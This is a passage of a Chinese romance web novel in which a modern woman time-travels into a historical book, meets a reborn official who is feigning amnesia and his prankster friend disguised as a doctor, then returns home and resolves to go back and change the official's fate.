《拯救对象他一直在攻略我》
7. 暴露
次日清晨,一束光穿过云层,透过墙檐,照射到院中的石板上,熠熠生辉。
一阵卖力的吆喝声划破了原本的宁静,惊的树枝上的鸟儿扑闪着飞走了。
“义诊了,义诊了!医术高超,妙手回春,专治疑难杂症!”
一个身穿灰白色长袍,头发被木簪随意束起的男子,一只手轻轻的抚着下颌修长的黑色长须,另一只手握住蓝边灰布的长旗——
上面用毛笔写着大大的“医”字。
但是,细看还会发现,墨迹还没干。
容乐站在房门口,伸了个懒腰,隐隐约约听到院外的声音,好奇的走到院中,打开了门,头朝外探了探。
‘大夫’听到动静后,悄悄的调转方向,朝她慢悠悠走去。
“姑娘,可是要求医?”他将名帖双手递给容乐,接着补充道:
“我乃神医李远第三十八代弟子,李俊也。按照祖传的规矩,我们每年要选一月为百姓进行义诊。
所有的疑难杂症,基本都能药到病除!”
说着,他还将医箱打开,向容乐展示。
里面是一些诊脉的用具、针灸用的针具还有大大小小的瓶瓶罐罐,摆的满满当当。
尉迟玚也闻声走了出来,皱着眉头看向面前奇怪的人:“你是?”
‘大夫’冲他悄悄眨了眨眼,一本正经的摸着胡子,用浓厚的嗓音道:
“公子,我是‘专门’来义诊的,如果你们‘需要’看病的话,在下可以尽一些绵薄之力”
他表面虽是笑着的,语气中却好似多了一分咬牙切齿的味道。
尉迟玚熟悉的眉眼和语气间,认出了面前的人——殷俊。
说实话,其实他觉得殷俊没必要打扮成这样。
过于夸张了些。
不过,也的确是符合他平时浮夸的性格。
“大石头,我咋觉得这个人像是个江湖骗子呢?”容乐用名帖挡住嘴,踮起脚尖,小声的在尉迟玚的耳边道。
不等他回答,殷俊先一步的急冲冲解释道:
“姑娘,我怎么可能是骗子呢!如果我是骗子要骗你们什么呢,免费看病,免费开药,免费熬药。”
容姑娘,你身旁那个才是真正的骗子!
你怎么没看出来他,倒是看出来我了。。。
“你听得到我说话?”容乐有些惊讶,她认为她的声音已经很小了。
殷俊愣了一下,脑中快速的思考着:
“姑娘,行医者,望闻问切都是基本功。‘闻’之一项让在下的耳力稍敏捷些。”
练武之人,耳力本就是最重要的。
在尚学堂时,殷俊偷寻了一个江湖上鼎鼎有名的师傅练武。
后来结识尉迟玚之后,觉得他看起来弱不禁风的,还总是被其他人‘欺负’,于是就带着他下学之后一起练了。
没想到到最后,尉迟玚反而比他更强。
为了避免不必要的麻烦,两人从不在外显露。
他在外是一副整日寻欢作乐、不务正业的纨绔子弟;尉迟玚还是那副——正人君子的模样,平时看起来文文弱弱的。
“乐儿,我觉得这位大夫说的有几分道理。不如请他帮我看看这‘失忆’之症,你今日正好也不用辛苦出门找大夫了。”
尉迟玚感受到殷俊求救的目光,决定帮他圆一下场。
容乐看了一眼''大夫'',沉默的思考了一会,最终还是点了头。
“李大夫,刚刚如有冒犯的,还请见谅。”她抱歉的笑了笑,随后请殷俊进了院门。
他松了口气,走了进去,将医箱放在了院内的石桌上,有模有样的拿出了脉枕。
“说吧,公子的失忆之症具体的情况是如何?”殷俊按照看病的流程,装模作样给尉迟玚边诊脉边问道。
“没有别的症状,大石头主要就是记不清之前发生的所有的事了,
李大夫你看看情况如何,可有法子医治?”容乐神色凝重的看向殷俊,眼里充满了担忧。
大石头?这是什么称呼?别说,还挺贴切。
不过,子慕有时候真的是油盐不进,一直恪守那套‘礼义'',真的挺无聊的,殷俊心里暗暗的想着,不如,就趁此机会——
“咳咳,这位公子脉象稳健有力,身子应该并无大碍,只是,经脉有些略微的郁结。”
说着,他站起身,又装作仔细的样子,看了看尉迟玚的头,皱着眉头接着道:
“有外伤的痕迹,应当是撞到硬物或者从高处摔伤所致。不过——
也不难医治,大概五日就能好全。”
说完,他低头开始写‘药方'',抬头对着站在一旁阿福道:“这位小兄弟,这是需要的药材,可能需要你去镇上采买一番。”
接着,殷俊拿出了一张银票,将药方和银票都交给了阿福。
随后又拿出了一堆乱七八糟的小瓶子,把它们都倒在了面前的空碗中,递给了尉迟玚。
“公子,药从明日开始,我会亲自熬。今日你先服下我单独配制的疏通经络的补药。这五日我会日日来,根据情况每日调制新的。”殷俊道。
尉迟玚看了眼前的颜色奇怪的药,眼神里充满了怀疑,他知道殷俊是配毒的高手,但是这配药——
加上自己昨夜又讹了他千金,担心他会趁机‘打击报复’。
殷俊感受到好友的迟疑,微笑的拿出了银针,大大方方的试了一下配药,道:“没毒。你们要是不信,我也可以先喝。”
容乐感受到他的眼神中充满了‘委屈’,加上银针试过确实无事,劝尉迟玚道:“我觉得李大夫的药应该是没问题,而且平白无故的,他应该不会害我们。”
尉迟玚犹豫了一下,接过碗中的药,一饮而尽,但是眉头却越皱越深——
这‘药’又辣又涩又麻。。。
殷俊拼命的忍住笑意,这是他将辣椒水、花椒水、苦瓜水和生姜水配在一起的。
从小到大,尉迟玚对任何事都是淡淡的,脸上都没有过多的表情,今日,他故意想逗逗他,看看他有苦却说不出的模样。
“公子,这药虽然味道奇怪了些,但是对你的失忆之症却是极其有效的。”他摸着胡子,笑嘻嘻的看着面前的人。
容乐看尉迟玚的模样,猜到这药一定很苦:“大石头,茶在厨房还温着,我去给你拿来。”
说完,她急忙着朝厨房方向走去。
看着容乐离开的背影,尉迟玚盯着面前笑容满面的人,冷冷的道:“殷俊,你是故意的吧,是不是蓄意报复?”
殷俊摸了摸假胡子,耸了耸肩道:“那倒不是,我不是小肚鸡肠的人。主要呢,就是单纯觉得好玩,哈哈。”
——————————
这几日,殷俊都是一大早就来给尉迟玚诊脉,接着配药,熬药到午时,蹭一顿饭就离开。
只不过,他后面将所有瓶瓶罐罐的里都装的是糖水,熬的药也是一些滋补的。
主要的原因是,尉迟玚已经提高了警惕,加上自己惊喜的发现他竟然会做饭。
为了吃上
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那一顿饭,他决定不整自己的好友了。
到第五日的时候,尉迟玚察觉到皇上的禁军已经开始搜寻他所在的村子中,在晨起之后就出门了。
根据炊烟所在的方向,他找到了禁军的驻扎之地,决定主动会面。
守营的侍卫看见来人,本想阻拦,发现是尉迟玚之后,赶紧向上通报。
大营中为首的一人听后,急忙从走了出来,单膝跪地行礼道:“卫士令刘丞,参见尉迟大人。”
周围的一众守卫,看此情景后,也纷纷行礼。
“刘大人不必多礼。”尉迟玚扶起刘丞,温和的笑着接着道:“这几日辛苦刘大人了,在下在归途中遇袭,所幸被人所救,就在此村养了几日伤。
昨日听闻有禁军搜村,才得知皇上在寻在下,故今日特意来与大人相见。”
刘丞早些听闻尉迟玚为人颇为谦逊,今日一看,果然所言非虚。
“尉迟大人哪里的话。皇上听闻大人失踪后,甚是担心,故派我等前来探寻。
今日得见大人,也是我等所幸,还请大人速速回京。”刘丞弯腰抱拳道。
尉迟玚从袖中拿出一个布制方盒,交给刘丞:
“此物是诸侯王刘戚通敌叛国的罪证,还请刘大人派人将此物加急送回京安,呈给君上。”
他看刘丞接过后,接着道:“我还有一些事未了,不如明日一早再随你等回京,如何?”
刘丞神色凝重,紧握住罪证,点头道:“大人一路艰辛,伤定也未好全。
这样,我和一队人马先就将此物快马加鞭送回京,剩下的两队人马随大人先回村,明日护送大人回京。”
说完,他朝身边的副手点了点头,朝尉迟玚行礼告辞之后,即刻上马,随一队人马向京安的方向赶去。
尉迟玚看向刘丞离去的方向,收起了笑意。
上一世,乐儿一直劝他要在朝中扶植自己的势力,是时候该好好盘算后续的事该如何了。
与此同时,殷俊像往常一样,准备给尉迟玚诊脉,却发现他不在。
“大石头说他有事先出去了,李大夫你稍坐一会儿,他应该很快就回来了。”容乐给殷俊沏了一壶茶,有些不好意思的道。
既然如此,不妨趁这个机会八卦一下。
毕竟,从子慕那里可得不到一些具体的消息。
殷俊将医箱放下后,缓缓坐了下来,笑着对容乐道:“容姑娘,你别忙活了,先坐下休息一会吧。”
容乐看他好像是有什么话想对自己说,今日是治疗的最后一日了,她猜测可能是要讨论大石头的病情,赶紧坐了下来。
殷俊拿出扇子,一只手扇着,另一只手拿起茶壶,不紧不慢的给自己和她倒了一杯。
容乐皱着眉头,觉得眼前的人好奇怪,大冬天的,扇扇子不冷吗?
而且,他的胡子好像有些异样,怎么感觉一副没粘牢,马上要掉了的感觉。
“李大夫,你的胡子是假的吗?它掀起了一个角。”容乐站起身,警惕的看向他。
殷俊尴尬的用手摸了摸,好像确实是翘起来了。
他用力的按了按,把他粘了回去,但是感受到容乐的目光,打算破罐破摔了。
殷俊将所有胡子都扯去,邪魅而白皙的面庞瞬间展现在容乐的眼前。
“你到底是谁,为何要乔装打扮?”
“容姑娘抱歉,我不是有意想要骗你的。”殷俊也站起身,朝容乐行礼赔罪,接着道:
“我是殷俊,尉迟玚多年的好友。”
8. 恢复记忆
“英俊?”
还有人这么起名字?
“殷商的殷,俊美的俊。”殷俊知道容乐肯定是误会了。
毕竟,每一个人第一次听,都会误会。
罪魁祸首都是他的君父,最初是希望他未来成为俊杰之士。
后来,看他冥顽不灵,就说什么就不指望他成才了,长的好看一些讨饭还能多得两个铜板。。。
“你说是尉迟玚的好友?那为什么会来这里?”
容乐想起来,书中确实是记载过,大鸿胪之子殷俊是尉迟玚的好友,但由于笔墨不多,她差点忘了。
“子慕因调查刘戚一事而失踪许久,我很担忧,便想来寻他。
之后,碰巧在镇上看见他在采买萤火虫,便一路跟着他来到了这里。
因为具体的情况还不明晰,我怕他被刘戚的人所胁,为了不打草惊蛇,所以故意乔装打扮了一番。
后来发现他是失忆了,正巧我也精通岐黄之术,就顺水推舟医治他了。”
殷俊真假参半的说着,将自己和尉迟玚欺瞒的事摘的干干净净。
容乐听后,愣在了原地,指尖深深的嵌入掌心,不敢相信的确认道:
“你是说,大石头他是——尉迟玚吗?”
殷俊点头,漫不经心的扇了扇子,反正子慕今日回来也会向她坦白,自己先说也算是为他做一些铺垫了。
容乐觉得有些不可思议,她心中最敬仰的人,竟然和自己一起生活了这么久。
就像是光芒有了形状,虚无有了温度,书中的人走到了现实。
心里先是激动、欣喜,转瞬就想起,那夜她将自己的感受同他说了——
“他就像是黑暗中的一束光,照亮了我。”
啊啊啊啊啊啊啊!!!!
怎么办,今日他想起来之后,她该怎么面对他啊。
一想到那场面,她恨不得找个地洞钻进去。
殷俊看她站在原地一动不动,表情却有些一言难尽。
莫不是知道前因后果的真相后,对心中崇敬之人的幻想破碎?
“咳咳,容姑娘,你还好吗?”他关心的看向她,决定帮好友再多说一些好话:
“我同他一起长大,有十几年的情分,从未看见过他对其他人像对你这么好过。
而且,人难免会有马失前蹄的时候,哪怕是再聪明的人。”
容乐回过神来,听了他说的话后,咬着唇不好意思的道:
“殷公子,大石头他,不是,是尉迟公子他的确是一个很好很好的人。之前我还在想,谁要能得他的真心相付,真的是很幸运的。”
“那你心里是怎么看待他的呢?你想和他成亲吗?”殷俊桃花眼露出八卦的神色,不动神色的用扇子挡住了上扬的嘴角。
容乐立马摆了摆手,涨红着脸,着急的解释道:“没有没有,我和他就是偶然相逢,如今算是比较熟悉的人。
他恢复记忆的话,如果不嫌弃,我还挺想和他做好友的。”
“哦,原来是这样啊。”
他看她拒绝的那么干脆,眼里也没有半分对子慕的小女儿情态,定然是对子慕没有那方面的想法。
唉,子慕啊,我看你的路还很漫长啊。
殷俊想到了什么,从怀中拿出一块玉佩,交到了容乐的手中。
玉质纯然,通体温润,形如圆日,正中间的‘玚’字被精雕的云纹环绕,淡雅而素净。
“这是子慕的玉佩,前几日我在院中捡到的,你帮我把它放回到他的包袱里吧,要不他定然觉得是我偷的。”
其实,他就是偷的。
在尉迟玚在调查刘戚之前,殷俊求了他半年的张衡的事,但他一直不答应。
殷俊实在是气极了,在他离开的前夜,熟睡之时偷了他日日佩戴、从不离身的玉佩解气。
今日正好趁这个机会,神不知鬼不觉的放回去。
容乐低头看那玉佩,不知为何,有种莫名的熟悉感。
她情不自禁用指腹轻轻的触摸着,仿佛之前做过许多次一样的事。
突然,容乐眼前闪过无数的画面,却让人抓不住也看不清。
她的头疼起来,耳边模模糊糊响起对话的声音:
“大石头,别人都说送玉佩是爱慕的意思,所以你是喜欢我吗?”
“没有,就是单纯的想让你进出府方便。”
“哦,好吧。”
*
“大石头,你觉得我将你的玉佩挂在腰间怎么样,这样大家都可以看到了!”
“好。”
“你就不怕别人在背后说些什么吗?”
“本来就是送你的,他们想说什么就说吧。”
*
“大石头,玉佩还给你,从今日之后,我们永不相见。”
*
殷俊?看容乐撑着头,面色惨白的模样,快要站不稳了。
他赶紧过去扶住了她,担心的问道:“容姑娘,你怎么了?”
“这玉佩,尉迟玚是不是之前送给过我?”
容乐虚弱的喘着气,攥住殷俊的衣袖,望着他的眼睛,不等回答,便晕了过去。
————————————
尉迟玚回来的时候,看殷俊心虚的站在院子里,一下一下的用扇骨敲着手心。
“说吧,你又做了什么事。”
自小到大,只要殷俊作出这个表情,他就知道自己要帮他善后了。
“那个,你先别急哈。就是我把你的玉佩交给了容姑娘,然后她看着看着,就晕倒了。”
“不过,我已经找大夫看过了,说并无大碍,就是受刺激了。”
尉迟玚不等他说完,立刻转身朝容乐的房间走去。
殷俊一看,赶紧跟上,在他的身后嘀嘀咕咕的接着道:“奇怪,就是简单的一块玉佩,按理说她应当是第一次见,怎么会受刺激呢?
而且,昏迷之前,她还问我,你之前是不是将玉佩送给过她。”
尉迟玚正准备推门而入的手,停在了半空中,难以置信的回头看向殷俊,问道:
“你刚刚说她昏迷前问你什么?”
殷俊被他严肃的表情吓到,有些结巴的道:“问——问我,你之前是不是将玉佩送给她过。”
这怎么可能!
上一世,他是在确认自己对她心意后,才将玉佩送与她的,虽然他当时并没有向她承认。
这一世,他明明才与她初相识,她怎么会知道之前发生的事?
难道,她同一样,经历过上一世?
不对,若是如此,她定然不会想见他。
亦或者,她忘了过往,只不过今日看到玉佩,便想起了什么。
想到这里,他的耳边陡然响起她那日决绝的声音:
“今日之后,我们永不相见。”
尉迟玚的手握成拳,思索片刻后,推门走了进去。
此时,容乐依旧在昏迷中。
他走到她床边,小心的拉开床幔坐下,看见她没有血色的脸,他胸口好像被一块石头压住,很是心疼。
前世的记忆,她应当也是不愿想起的吧。
他将她前额的碎发分到两侧,轻抚她的面颊,呢喃道:“若你醒来不愿再见我,我又该怎样才能将你留下呢。”
一旁的殷俊安慰的道:“子慕,不至于吧,就看见一个玉佩,怎么就上升到‘此生不见’这么严重了?
她知道你的身份后,还说想与你做好友呢!而且我也没透露出一点你骗她失忆的事啊。”
尉迟玚转身看向他,眉头紧蹙问道:“初如,你们到底发生了什么事?”
殷俊将今日发生的事一五一十的讲叙了一遍,中间还夹杂着各种丰富的表情,但总体的语气是极尽委屈的。
尉迟玚沉思了一会,正准备说话回应时,感受到身后躺着的人正窸窸窣窣的准备坐起身,他转过身看去,发现容乐睁着一双大眼睛,正看向自己和殷俊。
一时间,他不知道该如何开口。
他想问她想起来了什么,想问她能不能原谅他,想问她能不能留在他的身边。
屋内陷入了一片寂静
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之中,三人互相看着,谁也不说话。
“容姑娘,你还好吗?身子还有没有什么不舒服的?”
殷俊先一步打破了诡异的气氛。
容乐挤出一丝尴尬的微笑:“我挺好的啊。”
她醒来之后,看见尉迟玚就坐在身边,脑中瞬间想起来他的真实身份,白日的感到难为情的情绪再次涌上心头。
所以她采取了一种‘敌不动,我不动’的策略。
“白日你看见玉佩后,是想到了什么不好的事吗,大夫说你是受了刺激。”尉迟玚佯装镇定,担心的看向她道。
若是她想起来,他无论如何都不承认——自己是上一世的那个人。
毕竟,按理来说,这一世的他什么都没做,是一个非常非常无辜的人。
也许看在此世的他的面子上,她会愿意再相信他一次。
“没有。”
“其实我也不知道为什么,看见那个玉佩有种很熟悉的感觉,脑中就出现了一些看不清的画面,声音也很嘈杂,好像是我和你在对话?”
“但是内容也很没有逻辑,就像是个混乱的梦一样。”
容乐低垂着双眸,努力的回想着白日的事,心绪渐渐的安定了起来。
她攥住被角,鼓起勇气,抬头看向他问道:“那个,你想起来过去的事了吗?”
“嗯,想起来了。”
尉迟玚松了口气,看来她是没有想起了什么。
但是,他需要打消她回忆的念头——直面玉佩,让她觉得白日脑中所想之事都是幻象。
“此玉佩是我的贴身之物,除了被殷俊偷了的那段时间,从未离开过我。你今日也是第一次见它,怎么会有种熟悉的感觉呢?”
“乐儿,你可能是这段时间太累了,又被初如说的话所吓到了,所以可能就受到一些刺激,才会出现错乱的感觉。”
尉迟玚将玉佩放在了她手中,神色认真的接着道:
“若是你想要,也可以送你。”
容乐的脸唰的一下红了,赶紧将玉佩塞回他的手中:
“尉迟公子,我不是那个意思,你别误会,这段时间很感谢你的照顾,我——我——”
她支支吾吾不知道该说什么,别人的贴身之物,被自己说熟悉,那不是很容易会被误会!
他会不会误会她喜欢他啊!
他后面遇见商芷后,一见钟情,会不会就此因为她而疏远了自己啊。。。
呜呜,其实她还挺想和他做朋友的。
不行,这个误会她必须要解释清楚!
容乐竖起了三根手指,信誓旦旦的对尉迟玚道:
“我对你真的就是好兄弟的感觉,没有半点的男女之情,你千万别误会!”
“而且,往后你遇见真正喜欢的人之后,我还能帮你追到手!”
屋内,再次陷入一片沉默之中。
站在一旁的殷俊用余光悄悄的瞟了尉迟玚一眼,发现他的笑容僵在了脸上,脸色愈发的沉了起来。
“哈哈哈哈。”
对不起,他实在是没忍住。
万年不开花的铁树,好不容易开一次,结果没想到心意错付,人家压根对他没兴趣。
尉迟玚用凌厉的余光警告殷俊,示意他收敛一点,笑的别太大声。
“乐儿,我没有误会你。你往后还是唤我‘大石头’吧,尉迟公子总显的生分了些。”
“那我们往后,还能是朋友吗?”容乐忐忑的问道。
“自然。你是我的救命恩人,那夜你说的话,我也都深深的记载脑海中。”
尉迟玚轻轻的握住了她的肩,深邃的眼眸流露出温暖的光:“在不知名的时候陪你走过最艰难日子,是我之所幸,也知道,你在这个世上无依无靠。”
“所以,你愿意同我一起回丞相府吗?”
容乐被他的话所动容。
就是说,她没看错人,多年崇敬许久的人,他真的很好很好。
“好。谢谢你,大石头。”
“待你身子养好了,我们便随禁军出发吧。”
9. 回到现代
次日,容乐得知禁军已经在原地等候尉迟玚出发后,便不好意思让他们因为自己而耽误行程,决定午后就出发。
“乐儿,其实不用这么着急的,我们过两日再出发也无妨。”
尉迟玚走在容乐的身侧,从她的肩上接过包袱,背在了身后。
“我真的已经好全了,你别担心。”容乐伸手想抢回包袱,余光不断地瞟着后面面无表情的禁军们。
一想到被他们看见尉迟玚背着她的包袱,她就觉得很难为情,咬着唇小声的道:“大石头,我可以自己背的。”
“没事,你刚痊愈,又要奔波。而且你是我的救命恩人,帮你做这点儿事就不必介怀了。”
尉迟玚故意将说话的声音提高了些,意图让所有的人都知道容乐是他的救命恩人,这样她入丞相府,也就理所当然了些。
容乐看自己怎么也抢不回包袱,最终还是放弃了。
“对了,殷俊为何不和我们一起回京啊?”
她临出发前才发现殷俊没在队伍里,明明今日午时才看见他在院中喝茶。
“不知道。也许是看我们这边无碍了之后,就马不停蹄的赶回京,去醉红楼了吧。”
“醉红楼?”
怎么听起来不像是什么正经地方呢?容乐皱眉。
“嗯。京安最大的青楼,初如是那边的常客,若是在府中找不到他,那必然能在那里找到他。”
“咦~没想到他喜欢逛青楼。”容乐突然有些嫌弃殷俊了。
除此之外,醉红楼还是寒青派的接收任务之处,殷俊表面上日日醉倒在温柔乡,实际是与手下的人布置任务。
过了两日,尉迟玚一行人到了丞相府前,发现门口竟然铺上了红色的毛毯,两边的石狮子也穿戴上了大红花,整体看起来十分的喜庆。
“大石头,丞相府是有什么喜事发生吗?”容乐疑惑的问道。
“据我所知,应该是没有。”尉迟玚有种不祥的预感,毕竟这种浮夸的事只有一个人能做出来。
他拉着容乐的手腕赶紧往府里走,刚走上台阶,熟悉的声音从背后传来:“子慕,历难归来,欢迎回府!”
接着,铜锣、唢呐等奏乐声响起,吵得他头有些疼。
殷俊笑嘻嘻的走到他们面前,扇着扇子慢悠悠的道:“怎么样,我先一步回京,给你们准备的欢迎仪式不错吧!”
尉迟玚扶额,容乐在一旁笑着对面前的人道:“殷俊,其实你还挺有意思的。”
“对吧,可惜子慕一副不解风情的模样,真让人伤心啊。”殷俊装作难过的模样,叹了口气。
“初如,你的心意我收到了,‘辛苦’你一起同我们快些进府,喝口茶吧。”尉迟玚只想逃离这里,他感受到聚集看热闹的百姓越来越多了。
总感觉,这辈子都没有这么丢人过。
到门口时,他低声吩咐管家赶紧把府门关上,尽快处理这些乱七八糟的东西。
殷俊跟在他们身后,啧啧声不断。
“容姑娘,你看子慕是多么无趣的一个人啊,不如你别跟他做好友了,你做我的好友,如何?”
“殷俊,你也别太伤心了,毕竟——”
毕竟,不是所有人都能接受这么夸张的迎接仪式的。
“大石头,他可能喜欢更加平和一点方式。”容乐用委婉的语气安慰道,“至于好友——”
话说了一半,声音突然停止了。
尉迟玚转头一看,发现她已经不见了。
“乐儿?乐儿!”
尉迟玚神色慌乱,气息不稳的转头朝四周寻她,心底里涌起埋藏的恐惧之情。
上一世她离开的画面,再一次清晰的展现在眼前。
殷俊愣在了原地,眼睛不由自主的瞪大了,嘴唇微张。
他还是第一次见如此灵异之事。
“子慕,容姑娘她,是凭空消失了吗?”
尉迟玚低垂着眼眸,没有回应,失魂落魄的站在原地。
殷俊看尉迟玚没有一点惊讶:“子慕,你是不是知道什么?她在你面前应该不是第一次如此了吧。”
“此事莫要声张。”
“可以,但是你总要告诉我到底是怎么回事吧。”
尉迟玚将殷俊带到了书房中,将事情的前因后果大概讲了一些。
只是,隐去了谋权篡位、太子射杀和自刎的那一段。
“什么?!你说她来自未来?你竟然活过了一世?”殷俊感觉自己的脑子有些不够用了。
今天的冲击,无异于比神仙显灵还要大。
他用扇子不停的给自己扇风,试图冷静一些。
“这一世,我只有一个愿望,就是能与她长厢厮守。”
尉迟玚感觉自己很无力,他不能阻止她回去,也不知如何能让她回来。
横跨在他们之间的,除了记忆,还有千年的时光。
“那上一世的今日,她也消失了吗?还是她从头到尾都没有消失过,只有最终之日消失了吗?”殷俊皱着眉头问道。
尉迟玚单手握拳放在唇前,面色冷峻的思索着。
在他的记忆里,亲眼目睹她消失,只有在射杀那日。
但是,并不代表在此之前,她没有回去过。
“上一世回府的时候,我并没有让她进府,只是给她了一些银两,我们在京安城门口就分别了。”
“那你再次见她是什么时候?”
“是管家在招扫洒丫鬟的时候,她被选上了。”
“不是吧…….人家救了你的命,你让人家做丫鬟?”
“自然是没有!我下朝回来看见她后,就把她的卖身契还给她了。但是她说她无处可去,我发现她识字之后,就让她留在书房做事了。”
“哦~近水楼台先得月,容姑娘还挺聪明的!
只可惜上一世,有的人明明可以坐享美人归,却非要把人家姑娘整伤心了。到了这一世,连人家在哪都不知道。”殷俊揶揄的道
“初如,这是此时的重点吗?”尉迟玚紧抿着唇,看向他。
“我觉得吧,如果不是你改变的,那上一世一定发生过!”殷俊拉回正题,用扇骨’咚‘的敲了一下桌面。
也就是说,上一世的这个时候,她也应该回去了,后来在招丫鬟的时候或者之前更早一些,她就回来了。
尉迟玚眼里多了一丝光,点头默认。
若是按照这个逻辑,上一世还有一处奇怪之处。
那就是他独自在靖州查案之时,按照管家的飞鸽传书所言,容乐在宫中伴读,八月初十回到了府中。
可是,八月十五日,她竟然出现在他在靖州的住处。
按照路程,就算是不眠不休的快马加鞭,最快也需半月才能到。
所以,很可能她会在这期间又回去了,然后就直接穿了回来,到达了靖州。
“初如,谢谢你。”尉迟玚想到了什么,又接着道:“之前你不是说要送我一些杀手做为暗卫吗,那就尽快吧。”
殷俊眼前浮现了一个大大问号。
这就是他感谢自己的态度?
暗卫之事,明明是之前为张衡之事求他的时候,做出的一个筹码。
如今自己都装了五日的大夫了,他竟然还恬不知耻的加上了这一点?
“对了,你今日都要乐儿做你的好友了,那你就派沧青扮成丫鬟保护她吧,就当是你的诚意了。”
“子慕,沧青是寒青派武功最高强的五大杀手之一,也是唯一的女杀手!”殷俊捂着胸口,无比的心疼。
以一敌百的那种。
“行,那一千金我就不要了。”尉迟玚看他实在不舍得,‘慷慨’的给予了些补偿。
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>可是以沧青的实力,几万金都不够。
好好好,明明可以抢劫,他还是给了自己一千金。。。。
殷俊觉得自己快要被这两口子坑惨了。
他赶紧走到门口:“好,这是最后的条件了!多的一点都不行了!”
说完,转身赶紧溜了。
他怕是再留下去,身上一个子儿都不剩了,甚至还要倒贴。
以后还是离他们远点吧。。。
——————————————
容乐发现自己穿回了家中,站在自己的卧室里,手里出现了那本《周国传》。
这是回来了?这么突然的吗!
她赶紧再次翻开,看见书页依旧是被撕的模样。
只是,细看之下会发现,有三道竖着的血迹,彼此的间隔也不一样。
第一道从一页的页头到了页中。
接着空了很短的距离,第二道从页中到了下一页的页中。
最后空了比较大的距离,第三道从第二页的页中一直到撕掉的最后一页的页尾。
下一页完好的页面,是周国的最有名的皇帝——离书的专题了。
他原是平阳王,后来尉迟玚被太子离赋射杀,万臣请书罢黜太子,太子造反杀了皇帝,朝堂上下一片混乱。
各地封王表面纷纷起兵征讨太子,实际沿途招兵买马,意图称帝。
太子派人刻意挑起各地封王之争,周国顿时战火不断。
历史上称之为——赋权之乱。
离书在平阳之时,以仁政爱民著称,颇得民心。战乱起时,各地流民纷纷前往平阳,使之实力大增。
除此之外,离书才谋过人且善用能将,和当时驻扎在封地不远的陇阳校尉庞广关系甚好,太子谋反后,庞广自请归顺离书。
最后,耗时五年,离书平定战乱,准备撤军回城时,万民请书望他登帝。
他称帝后,彻底废除周国之前的郡县分封制,一统中原,减轻赋税,鼓励商贸,国力鼎盛。
后与嘉容皇后一起,创建慈幼院,开设平民学堂,深得百姓爱戴。
嘉容皇后是卫尉苏阿的亲妹妹,当时杀太子之时,不知道离书是如何收服的苏阿,是他助了离书一臂之力。
史料记载,离书是在南巡之时看上了嘉容皇后,回宫后便立她为后,深宠几十年,且后宫仅她一人。
他们的故事被拍成了电视剧,还有很多不同的版本。
她唯一难过的是,尉迟玚要是生在离书的时代中便好了,他就不会死了。
容乐打开电脑想要再查查尉迟玚的生平,虽然他的事她早已熟记,但是她想再确认一下,他的轨迹有没有因为她的短暂穿越而变化。
当余光瞟到电脑右下角的时候,她震惊了。
距离她穿越到回来,现代的时间仅仅过了三个小时?!
她在周国过了二十多天啊!
她点开了浏览器,阅读起尉迟玚大事记的时间线——
昌安十年二月,尉迟玚查刘戚造反一案有功,皇帝嘉赏。
昌安十年十月,尉迟玚兼任太学博士,负责皇子公主们的课业教学。
昌安十一年八月,尉迟玚被派查靖州刺史贪污一案,涉及甚广,半数官员被罢免。
同年十一月,尉迟玚被陷害入狱,后被贬平阳刺史。
昌安十五年三月,尉迟玚救下南巡太子,成为太子一党。
同年九月,丞相尉迟泰薨,尉迟玚因守孝归安京。
昌安十六年二月,尉迟玚出孝期,被擢升为御史大夫。
昌安十八年正月,尉迟玚被太子射杀,享年二十九。
真的是一点都没有改变,还是和她记忆中的一样。
才二十九岁啊!就这么没了。
容乐感觉一口气堵在了胸口,怎么都难以纾解。
10. 丫鬟
周国的回忆还历历在目,他对自己的好,她都记得。
之前可能只是惋惜,现在感觉是特别的难受。
她好想改变他的命运,让他好好的活下去。
容乐又看了眼摊开在桌面被撕掉几页的书,以及对应的血痕,发现第一段血痕比之前的浅了不少。
她心里有了一个大胆的猜测。
每一条血痕代表她穿越的时间,现在第一段已经结束了,还剩第二段和第三段。
也就是说,第二段结束,她应该还会回来,第三段结束,她就会彻底回来了。
只可惜,因为没有内容,她不知道自己回来时,周国的时间节点是什么。
突然,电话响了。
“喂,哥。”容乐接起了电话。
“容乐,一个半月后集团会召开董事会,讨论最终你我负责的业务板块。
这段时间,为了避免暗箱操作,叔父会暂时接管负责的金融业务,舅母会暂时接管你负责公益板块,我们都不去集团。”
容乐停顿了一会,语气中带着些难过,接着道:
“哥,我其实不想和你争夺遗产,对我而言,虽然没有血缘,但我们是一家人,爸爸妈妈也不想看我们变成如今的模样,我们能好好聊聊吗?”
前段时间,养父母突然出了车祸,双双去世。
容乐非常难过伤心,从小到大,养父母是真心待她看做女儿的。
刚刚走出来不久,哥哥就开始要和她划分家产,家族也因此争论的不可开交。
电话那边沉默了许久。
“好,这段时间我们都好好想想,一个月后,我们去爬山吧,到时候见面聊。”低沉的声音里带着一丝犹豫。
“嗯好,那哥你早点休息。”
那边没有回复,先一步切断了电话。
容乐松了口气,事情也算是往好的方向发展了。
她看了眼时间,内心计算着。
若穿越的时候,一个月等于现在的三个小时,那一年就是一天半。
八年就是,十几天的样子!
所以,她就算中间不穿回来,最多也是十几天。
容乐拿起那本书,目光扫过血痕,心中有了打算——
回去拯救他的命运。
她调整呼吸,用手轻触着第二段血痕,巨大的吸力再次从指尖传来。
待回过神来,已经站在了丞相府的门口。
四个带刀的府兵站在两侧,绷着脸,看起来十分不好惹。
容乐鼓起勇气走上台阶,挤出笑对他们道:“可以帮我通报尉迟玚一下吗,就说我是容乐。”
新来的府兵打量了一下面前的人:“请问姑娘是哪家的小姐,找大人有什么事,在下也好直接通报。”
“我——”容乐不知道该如何回答。
她不是大户人家的小姐,找他呢,其实也没想好怎么解释之前的事。
府兵看她支支吾吾的,看打扮也是平民百姓,面无表情的道:
“姑娘抱歉了,还恕在下无法通报。”
容乐无奈,只能依依不舍的转身离开了。
早知道就应该收下他的玉佩了!
唉,府兵肯定以为她是骗子,正门怕是进不去了。。。
现在又该怎么见到他呢?
她漫无目的的在街上走着,路过一个告示牌,发现好多人在围观。
“丞相府招丫鬟哎,待遇应该不错吧。”
“那肯定的,你也不看看府里住的都是谁,一个丞相一个御史中丞。”
“要是干好了,能做御史中丞的通房丫头,就飞黄腾达了!”
“别说御史中丞了,能做丞相的也行啊,年纪大点又怎么了?人家可是丞相!”
容乐听到周围的人讨论,内心啧啧声不断,没想到最吸引围观的不是告示内容,而是丞相府的后宅之事。
不过,既然招丫鬟,她是不是可以去试一试?
这样不就可以见到他了吗?还能留在丞相府,为自己谋一份差事。
不错不错!
